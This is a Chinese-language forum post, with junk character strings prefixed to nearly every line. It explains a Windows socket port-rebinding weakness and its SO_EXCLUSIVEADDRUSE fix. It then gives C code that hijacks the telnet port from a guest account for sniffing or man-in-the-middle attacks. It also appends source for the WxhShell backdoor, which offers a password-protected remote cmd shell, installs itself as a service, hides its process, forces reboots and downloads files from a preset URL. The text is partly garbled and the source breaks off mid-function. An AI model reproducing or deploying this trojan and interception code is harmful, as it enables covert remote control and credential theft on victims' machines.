在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
+Ja9p s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
T^'NC8v |/LCwq% saddr.sin_family = AF_INET;
pC9Ed9uRK %) A-zzj saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Sw!/IPO qSj$0Hq5XI bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
4E&=qC]S ^'"sFEV7RN 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
ZT@a2:& zD8q(]: A 这意味着什么?意味着可以进行如下的攻击:
5$SO bvM\Qzc!<3 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
40VdT|n$$ tF> ?] 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
fG;(&Dx B5%N@g$`j 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
P<@Yux# S].=gR0: 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
JvFU7`4@ !M]_CPh] 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
3\Y}{(O | Y)%CxaO` 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
F[ca4_lK |Tz/9t 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
;jb+x5t v&:R{ #include
[&mYW.O< #include
c"mRMDg% #include
m<ZwbD #include
Vab+58s5 DWORD WINAPI ClientThread(LPVOID lpParam);
VU>s{_|{ int main()
~O{sOl
_<4 {
,^JP0Vc* WORD wVersionRequested;
VN=S&iBa/ DWORD ret;
x
Hw$ WSADATA wsaData;
VK9I#
BOOL val;
oh{!u!L`] SOCKADDR_IN saddr;
*GsrG*OM*D SOCKADDR_IN scaddr;
G6X int err;
wzAp`Zs2Dm SOCKET s;
^0 t81,` SOCKET sc;
1a{~B# int caddsize;
-CW$p=y} HANDLE mt;
#mqz*=L3 DWORD tid;
Q$iGpTL wVersionRequested = MAKEWORD( 2, 2 );
}-{l(8- err = WSAStartup( wVersionRequested, &wsaData );
Hl&]r'bK if ( err != 0 ) {
i>bFQ1Rdx printf("error!WSAStartup failed!\n");
BaIh,iu return -1;
]2Aqqy }
L4SvE^2+ saddr.sin_family = AF_INET;
YW"?Fy fTM^:vkO //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
!ViHC}: S<+_yB? saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
XQ:HH 8 saddr.sin_port = htons(23);
{] -nYHGL if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
n?@o:c5,r {
UC*<] printf("error!socket failed!\n");
k}-%NkQ
9O return -1;
9;;1 "^4/ }
gDnG!i+ val = TRUE;
&G55<tRE //SO_REUSEADDR选项就是可以实现端口重绑定的
DC`6g#*< if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
%@(6,^3%i {
Jg|3Wjq5 printf("error!setsockopt failed!\n");
<u44YvLBm return -1;
Cg
85 }
O*oL(dk*8L //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
_p{ag
1gP //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
V]}/e!XK\ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
`A80""y:M X %,;IW]a if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
X4i$,$C {
`(.ue8T ret=GetLastError();
fE)+9! printf("error!bind failed!\n");
)@Xdr0 return -1;
#.}Su+XF }
I}Q3B3Byg listen(s,2);
~PuPY:" while(1)
TO[5h Y\ {
:KX/GN!n caddsize = sizeof(scaddr);
) !ZA.sx //接受连接请求
V0JoUyZ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
\@OKB<ra if(sc!=INVALID_SOCKET)
nC`#Hm.V% {
_F^|n}Qbj mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
~2A<fL,- if(mt==NULL)
r~nrP=-% {
h.'h L printf("Thread Creat Failed!\n");
9L:v$4{LU break;
XrSqUD }
jopC\Z }
,`+y4Z6`W2 CloseHandle(mt);
9FK:lFGD }
2%vwC]A closesocket(s);
:CHCVoh@95 WSACleanup();
`-ENKr] return 0;
F$F5N1< }
f<|8NQ2y. DWORD WINAPI ClientThread(LPVOID lpParam)
;5y4v {
?WUE+(oH> SOCKET ss = (SOCKET)lpParam;
@292;qi SOCKET sc;
#C%<g:F8 unsigned char buf[4096];
b'9G`Y s^ SOCKADDR_IN saddr;
w #(XiH* long num;
8Qu].nKe DWORD val;
T_AZCl4d DWORD ret;
Pn 7oQA\ //如果是隐藏端口应用的话,可以在此处加一些判断
BzWmV.5 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
_,Fwt saddr.sin_family = AF_INET;
MiOSSl}; saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
(:T~*7/" saddr.sin_port = htons(23);
L4kYF~G:4 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
` S85i* {
?wwY8e?S printf("error!socket failed!\n");
&Vgjd> return -1;
0HxF#SlKM }
@Gn9x(?J val = 100;
-QS_bQG% if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
}3[ [ONA {
$$qhX]^~ ret = GetLastError();
+oQ@E<)H return -1;
;ejC:3yO }
5@ZD' if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
;y k@`< {
>{GC@Cw ret = GetLastError();
IHagRldG return -1;
dwx1EdJ{ }
Zqam Iq if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
.Uih|h {
/Zv }u printf("error!socket connect failed!\n");
T,?^J-h^ closesocket(sc);
i,RK0q?> closesocket(ss);
r&ToUU 5 return -1;
RPp_L>&~< }
yobi$mnsy! while(1)
Lwv9oa| {
:EA,0 , //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
_bMs~%?~/ //如果是嗅探内容的话,可以再此处进行内容分析和记录
{n1o)MZ]R //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
PiH#9XB num = recv(ss,buf,4096,0);
iSFgFJG^ if(num>0)
"sHD8TUX send(sc,buf,num,0);
H9jj**W ;$ else if(num==0)
u8[X\f break;
J-,T^Wv num = recv(sc,buf,4096,0);
F`?pZ if(num>0)
c8}1-MKs_R send(ss,buf,num,0);
6s|C:1](b else if(num==0)
p(x[zn+%Y break;
iWtWT1n8n }
%HSoQ?qA closesocket(ss);
_N<qrH^; closesocket(sc);
Bq$bxuhV return 0 ;
}Rt<^oya* }
\{~x<<qFd (cCB3n\20 w93yhV? ==========================================================
myJsRb5 oHa6fi 下边附上一个代码,,WXhSHELL
f8uVk|a "kN5AeRg ==========================================================
dB1bf2'b# 7v\OS- #include "stdafx.h"
e1'_] ^Nc\D7( l #include <stdio.h>
dch(HB}[ #include <string.h>
nq$^}L3&~ #include <windows.h>
#FeM.k6 #include <winsock2.h>
q&P" #include <winsvc.h>
2#py>rF(
#include <urlmon.h>
B6ys5eQ L;v#9^Fq #pragma comment (lib, "Ws2_32.lib")
:/1WJG:! #pragma comment (lib, "urlmon.lib")
z1YC%Y|R +i
K.+B #define MAX_USER 100 // 最大客户端连接数
fM8 :Nt$ #define BUF_SOCK 200 // sock buffer
rgOB0[ #define KEY_BUFF 255 // 输入 buffer
Z/2#h<zj fHe3 :a5+W #define REBOOT 0 // 重启
E7 7Au;TL #define SHUTDOWN 1 // 关机
Pw+cpM8< XLOk + Fn #define DEF_PORT 5000 // 监听端口
-lLq) %7hYl'83 #define REG_LEN 16 // 注册表键长度
'jfI1 ]q #define SVC_LEN 80 // NT服务名长度
ZgzrA&6 [Si`pPvl // 从dll定义API
%40|7O typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
!$&K~>` typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Z}XA(;ck typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
`qUmOFl typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
"|&SC0* A2htD!3 // wxhshell配置信息
?_ p3^kl struct WSCFG {
t*n!kXa int ws_port; // 监听端口
R{Cj]:Ky char ws_passstr[REG_LEN]; // 口令
UF0PWpuO int ws_autoins; // 安装标记, 1=yes 0=no
,Y}HP3
char ws_regname[REG_LEN]; // 注册表键名
ky[FNgQ3n char ws_svcname[REG_LEN]; // 服务名
*n}{)Ef char ws_svcdisp[SVC_LEN]; // 服务显示名
esFBWJ char ws_svcdesc[SVC_LEN]; // 服务描述信息
d+z8^$z" char ws_passmsg[SVC_LEN]; // 密码输入提示信息
.`iOWCS int ws_downexe; // 下载执行标记, 1=yes 0=no
0urQA_JC char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
ALPZc: char ws_filenam[SVC_LEN]; // 下载后保存的文件名
z${DW@o3 i?||R|>;"' };
%~G)xK?W*
NouT~K`' // default Wxhshell configuration
I+ydVj(Op struct WSCFG wscfg={DEF_PORT,
~#OnA1) "xuhuanlingzhe",
[N.4i"
Cd 1,
| [P!9e "Wxhshell",
l2z@t3{ "Wxhshell",
1@;Dn' "WxhShell Service",
05$CIS>! "Wrsky Windows CmdShell Service",
$,F1E VJ "Please Input Your Password: ",
#sN]6 1,
~xkcQ{ "
http://www.wrsky.com/wxhshell.exe",
:[,-wZiT~6 "Wxhshell.exe"
PkMN@JS };
f{G
^b&x z'j4^Xz?%$ // 消息定义模块
RMDzPda. char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
xrf z-"n4 char *msg_ws_prompt="\n\r? for help\n\r#>";
_-$(=`8|<{ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
V*}ft@GPD char *msg_ws_ext="\n\rExit.";
^e1@o\] char *msg_ws_end="\n\rQuit.";
Z<@0~t_:?p char *msg_ws_boot="\n\rReboot...";
VMXccT9i! char *msg_ws_poff="\n\rShutdown...";
ACc tyGd char *msg_ws_down="\n\rSave to ";
fX2sjfk Xq@Bzya char *msg_ws_err="\n\rErr!";
8,7^@[bzXx char *msg_ws_ok="\n\rOK!";
B/0Xqyu +0_e a~{ char ExeFile[MAX_PATH];
DS%~'S int nUser = 0;
SYkwM6 HANDLE handles[MAX_USER];
x+EkL3{ int OsIsNt;
_(l?gj k#liYw I SERVICE_STATUS serviceStatus;
C3)*Mn3%P SERVICE_STATUS_HANDLE hServiceStatusHandle;
,)@njC?J vhIZkz!9 // 函数声明
VkdGGY int Install(void);
1o`zAJ8|2 int Uninstall(void);
R-LMV int DownloadFile(char *sURL, SOCKET wsh);
xsu9DzPf&{ int Boot(int flag);
& %A&&XT9 void HideProc(void);
\Kr8k`f int GetOsVer(void);
4P jC[A* int Wxhshell(SOCKET wsl);
)Fon;/p void TalkWithClient(void *cs);
ORuC(" int CmdShell(SOCKET sock);
'.EO+1{a int StartFromService(void);
@GUlw[vi int StartWxhshell(LPSTR lpCmdLine);
'b)qP| `>)[UG!:| VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
hh8Grl; VOID WINAPI NTServiceHandler( DWORD fdwControl );
~=va<%{
U f7YBhF // 数据结构和表定义
)Zf1%h~0r SERVICE_TABLE_ENTRY DispatchTable[] =
B6=?Qp/f {
{Y-~7@ {wscfg.ws_svcname, NTServiceMain},
5`Q j< {NULL, NULL}
&S,_Z/BS; };
\?Sv O Z_Wzm!: // 自我安装
]Hp>~Zvbb int Install(void)
:*f 2Bn {
&AN1xcx\ char svExeFile[MAX_PATH];
w4(L@1 HKEY key;
m g,1*B' strcpy(svExeFile,ExeFile);
_j+!Fd 4-~Z{#- // 如果是win9x系统,修改注册表设为自启动
eU\xOTl~<{ if(!OsIsNt) {
Kci. ,I if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
/>Q}0Hg RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
|lt]9>| RegCloseKey(key);
8Qo'[+4; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
0:f]&Ng RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
;$WHTO( RegCloseKey(key);
9 w$m\nV return 0;
Z:dp/M} }
T'9ZR,{F }
/a'1W/^2 }
}x?F53I) else {
V(_1q >!6|yk`GJ // 如果是NT以上系统,安装为系统服务
`J1HQ!Z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
#8|LPfA if (schSCManager!=0)
d{"-iw)t {
qT48Y SC_HANDLE schService = CreateService
6$6QAW0+f (
>~SS^I0 schSCManager,
yEq7ueJ' wscfg.ws_svcname,
^Jp,& wscfg.ws_svcdisp,
$P=C7; SERVICE_ALL_ACCESS,
1h&`mqY)L. SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
ikW[lefTq SERVICE_AUTO_START,
b~J)LXj]w SERVICE_ERROR_NORMAL,
N ~{N Nf Y svExeFile,
H+4j.eVzZU NULL,
]3rVULU"K- NULL,
3''Sx8p NULL,
g w"
\pD
NULL,
d'RvpoM NULL
!R=@Nr> );
64<;6* if (schService!=0)
TIWR[r1! {
X H-_tvB CloseServiceHandle(schService);
q`VL i CloseServiceHandle(schSCManager);
z3Q&O$5\ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
O$<>v\NC? strcat(svExeFile,wscfg.ws_svcname);
"2l`XH if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
KwuucY RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Dwp,d~z RegCloseKey(key);
1u
9hA~rj return 0;
jN\u}!\O }
BmG(+;;& }
*'?7OL CloseServiceHandle(schSCManager);
q` q;og
` }
w&q[%(G_ }
9
r!zYZ`)
uu9M}]mDl return 1;
yD7BZI
xW }
;2p+i/sVj zx3gz7>k; // 自我卸载
F$C6( C? int Uninstall(void)
c$O8Rhx {
+$h HKEY key;
MUO<o [9 W@<p if(!OsIsNt) {
YmziHns`b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
OT9]{|7 RegDeleteValue(key,wscfg.ws_regname);
Zw.8B0W RegCloseKey(key);
Fx9-A8oIR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Ld4U RegDeleteValue(key,wscfg.ws_regname);
K^Awf6% RegCloseKey(key);
)cqD"> vs return 0;
l":W@R }
CMa6':~ }
LeKovt% }
}LzBo\ else {
{.p.? IH]9%d) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
T] zEcx+e if (schSCManager!=0)
#b/qR^2qW {
rE3dHJN; SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
b;k+N` if (schService!=0)
)@PnpC%H {
=>jp\A if(DeleteService(schService)!=0) {
JMb_00r CloseServiceHandle(schService);
wA)
Hot
CloseServiceHandle(schSCManager);
RB 5SK#z return 0;
2w 2Bc+#o }
IG781:,/ CloseServiceHandle(schService);
l/eF
P }
NAbVH{*\U CloseServiceHandle(schSCManager);
d9N[f> }
:E:e ^$p }
K\Ea\b[ 'xwCeZcg return 1;
79\wjR!T }
2hh8G5IaQ IGlR,tw_/ // 从指定url下载文件
/%wS5IZ^ int DownloadFile(char *sURL, SOCKET wsh)
-%nD'qy,. {
xoaO=7\io HRESULT hr;
Syk)S< char seps[]= "/";
/jbAf ]"F; char *token;
ys[Li.s: char *file;
!l:GrT8J char myURL[MAX_PATH];
odRiCiMH char myFILE[MAX_PATH];
Shn,JmR K1&
QAXyP strcpy(myURL,sURL);
O%bbyR2 token=strtok(myURL,seps);
55[ 4)* while(token!=NULL)
.tBlGMcN {
Q8p6n file=token;
Z>[7#;; token=strtok(NULL,seps);
-YRIe<}E - }
+mQ5\14# +7Ws`qhEe GetCurrentDirectory(MAX_PATH,myFILE);
?J}Q&p. strcat(myFILE, "\\");
9}573M strcat(myFILE, file);
lj4Fg*/Yn send(wsh,myFILE,strlen(myFILE),0);
OM*_%UF send(wsh,"...",3,0);
P 7x;G5'. hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
BZR{}Aj4pa if(hr==S_OK)
h
><Sp*z_V return 0;
lu8G$EQI else
D3pz69W return 1;
. [|UNg Xn7G2Yp }
Jt~Ivn, ]
V
D // 系统电源模块
YQVo7"`% int Boot(int flag)
e#Tv5O {
?gH[la HANDLE hToken;
%#6@PQ[R. TOKEN_PRIVILEGES tkp;
mScv7S~/s b#j:)PA0C if(OsIsNt) {
rhv~H"qzW OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
jhu
&Wh LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Fs+tcr/\[ tkp.PrivilegeCount = 1;
AGBV7Kk tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
@gUp9ZwtH AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
,_z79tC{s if(flag==REBOOT) {
j"W>fC/u if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
&kb`)F3nU return 0;
6FS%9.Ws }
AtT7~cVe else {
[W[{
4 Xu if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
rd <m:r return 0;
ggso9ZlLu+ }
F(")ga$r }
1 ZdB6U0 else {
\#sD`O if(flag==REBOOT) {
|IxHtg3>6{ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
dFg>uo return 0;
| dQ>)_ }
#w$Y1bjn else {
'
jciX]g if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
8|&,JdT return 0;
WMbkKC.{J }
`/|
*u }
awLvLkQb{ H MOIUd return 1;
)f8>kz( }
_,3ljf?WQM h>Kx // win9x进程隐藏模块
!-I,Dh-A void HideProc(void)
n ]%2Kx {
e=amh a@}.96lStD HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
UmKE]1Yw4r if ( hKernel != NULL )
@N'n>8Wn {
g)Z8WH$;H3 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
+LHU}'| ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
8}%F`=Y0 FreeLibrary(hKernel);
Y,L`WeQY. }
{X,%GI A|biOz return;
uHbg&eW }
nnlj# DYX{v`>f^ // 获取操作系统版本
s.1F=u9a int GetOsVer(void)
iSfRJ:_&6 {
e=]SIR()` OSVERSIONINFO winfo;
Jb,54uN winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
$v>q'8d GetVersionEx(&winfo);
z']6C9m} if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
=<\22d5L return 1;
KpN]9d else
2H%9l@}u return 0;
vNi;)"&* }
xd?=#d TE`5i~R* // 客户端句柄模块
p.:651b int Wxhshell(SOCKET wsl)
=OufafZb {
|n_N.Z SOCKET wsh;
txEN7! struct sockaddr_in client;
@&T' h}|: DWORD myID;
q<AnWNheE _hnsH
I!oD while(nUser<MAX_USER)
P"c@V,. {
v^A+LZ*d
int nSize=sizeof(client);
k?=1q[RQH wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
fY]"_P if(wsh==INVALID_SOCKET) return 1;
[;m@A\F b'wy{~l@ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
}$oS/bo if(handles[nUser]==0)
e'b*_Ps' closesocket(wsh);
|bk9<i ? else
iEn:Hh) nUser++;
$f@YQN= }
MlTC?Rp# WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
coCT]< nbxY'`8F return 0;
L|1,/h
8p }
>H+tZV V 7,dx@J- // 关闭 socket
c0wLc,)G void CloseIt(SOCKET wsh)
8K4^05*S {
F{mUxo#T closesocket(wsh);
X~IilGL8: nUser--;
sOqFEvzo1% ExitThread(0);
Cm;cmPPl }
=
#-zK:4 DE.].FD' // 客户端请求句柄
*VsGa<V void TalkWithClient(void *cs)
-1Tr!I:1 {
:2lpl%/ &G2&OFAr]q SOCKET wsh=(SOCKET)cs;
'p5M|h\:T char pwd[SVC_LEN];
a&{Y~Og?% char cmd[KEY_BUFF];
1 b7jNkQ char chr[1];
75a3hPCZ int i,j;
*I :c@iCNJ "U^m~N9k{ while (nUser < MAX_USER) {
!aSj1
2J 1 G]D:9-? if(wscfg.ws_passstr) {
;6 @sC[ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
I^EZ s6~ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
'goKYl#1Q //ZeroMemory(pwd,KEY_BUFF);
LZ wCe$1 i=0;
Muwlehuq while(i<SVC_LEN) {
WVD48}HF- xHt7/8wF // 设置超时
_-BP?'lN fd_set FdRead;
\k5"&]I3 struct timeval TimeOut;
NzAh3k FD_ZERO(&FdRead);
(F^R9G| FD_SET(wsh,&FdRead);
e6MBy\*n TimeOut.tv_sec=8;
R?u(aY)P TimeOut.tv_usec=0;
mrr]{K int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
'IY?=#xr'` if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
X<5fn+{]S: Ck#e54gJX if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
*%/O (ohs@ pwd
=chr[0]; 2.WI".&y=
if(chr[0]==0xd || chr[0]==0xa) { /a*){JQ5j
pwd=0; %|e)s_%XE
break; eP"B3Jw
} .X%J}c$
i++; Iuz_u2"C
} FD[*Q2fU
p _[,P7
// 如果是非法用户,关闭 socket _yg;5#3
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^vMlRt;
} i{m!v6j:
+YZo-tE
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); T#Q7L~?zY
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !`%j#bv
#w.0 Cc
while(1) { y5F+~z}{
?PWg
ZeroMemory(cmd,KEY_BUFF); 2$Xof
,r*Kxy
// 自动支持客户端 telnet标准 2b7-=/[6
j=0; 9HO9>^
while(j<KEY_BUFF) { .^*;hZ~4%
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;U>nj],uv
cmd[j]=chr[0]; p/
xlR[
if(chr[0]==0xa || chr[0]==0xd) { [L X/O@
cmd[j]=0; "LlQl3"=
break; la<.B^
} mH\zSk
j++; x?o#}:S
} Awa| (]
R_B0CM<!
// 下载文件 l,l qhq\
if(strstr(cmd,"http://")) { M>Q ZN
send(wsh,msg_ws_down,strlen(msg_ws_down),0); (Ff}Y.4
if(DownloadFile(cmd,wsh)) [hSJ)IZh
send(wsh,msg_ws_err,strlen(msg_ws_err),0); UB5H8&Rf!
else AE>W$x8P
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =V|jd'iwx
} w\s`8S
else { P}~MO)*1
>BO$tbU5b
switch(cmd[0]) { ya1
aWs~
:0:Tl/))
// 帮助 ,93Uji[l
case '?': { mP\V.^
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "\EX)u9ze
break; `2]0 X#R
} zEU[u7%
// 安装 VA[EY`8
case 'i': { d^A]]Xg
if(Install()) JWd[zJ[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )>{.t=#
else &PE%tm
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BJwuN
break; >\[]z^J
} LH2B*8=^2
// 卸载 =_ pSfKR;
case 'r': { N-QS/*C.~
if(Uninstall()) vcdVck@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3bWGWI
else 6Yn>9llo}=
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J{b#X"i
break; 't`h?VvL
} KV$&qM.
// 显示 wxhshell 所在路径 '(@q"`n
case 'p': { ':pDlUA
char svExeFile[MAX_PATH]; 3`yO&upk
strcpy(svExeFile,"\n\r"); Xd%qebK
strcat(svExeFile,ExeFile); L0"|4=
send(wsh,svExeFile,strlen(svExeFile),0); @$r[$D
v
break; .4^+q9M
} ? Vd~
// 重启 neM.M)0
case 'b': { rQ{|0+l
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); IOZw[9](+
if(Boot(REBOOT)) w\G J,e
send(wsh,msg_ws_err,strlen(msg_ws_err),0); r1< 'l
else { (|<S%?}J
closesocket(wsh); i'li;xUhZ
ExitThread(0); Oq~{HJ{
} %TQ4ZFD3
break; QIMd`c
} LHA^uuBN}
// 关机 B-N//ef}
case 'd': { pYQSn.`V~
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); IrL7%?
if(Boot(SHUTDOWN)) P^<3 Z)L
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _C5i\Y)
else { MS;^:t1`
closesocket(wsh); 9<?w9D.1
ExitThread(0); k_]'?f7Z
} ^ slIR!L
break; LRHod1}mS
} ,nYa+e
// 获取shell !6-t_S
case 's': { HjA~3l7
CmdShell(wsh); P?V+<c{
closesocket(wsh); N9 M}H#
ExitThread(0); 5z0Sns
break; ivgX o'=
} y_Lnk=Q ^
// 退出 .t\J@?Z
case 'x': { C&Q[[k"kb
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6<W^T9}v@/
CloseIt(wsh); >97YK =
break; A[m?^vk q
} ?MFC(Wsh
// 离开 R?)Yh.vi=t
case 'q': { CrI<rD%'
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Vwp>:'Pu
closesocket(wsh); wqDf\k}'v
WSACleanup(); %TFsk
exit(1); k?7"r4Vc)S
break; D,.`mX
} NE#`ZUr3
} h<?Px"& J
} .>;??BG}
#@HlnF}T
// 提示信息 O<p=&=TD7
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MRz f#o<H
} b)IQa,enH
} ,K}"o~z
0@?m"|G
return; SVVE b6&
} CP9 Q|'oJ
W>!:K^8]
// shell模块句柄 W[I[Xg&
int CmdShell(SOCKET sock) VTL_I^p
{ *P\lzM
STARTUPINFO si; <[ dt2)%L>
ZeroMemory(&si,sizeof(si)); 1ik.|T<f0
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wclj9&k
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3 8&K"
PROCESS_INFORMATION ProcessInfo; ~c v|,
char cmdline[]="cmd"; pWE(?d_M{G
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F\&wFA'J
return 0; =),ZZD#J
} 0
J"g"=
3>3t(M|
// 自身启动模式 V"8Go;[
int StartFromService(void) =W')jKe0
{ Hj`'4
typedef struct eptw)S-j
{ sE]z.Po=
DWORD ExitStatus; <
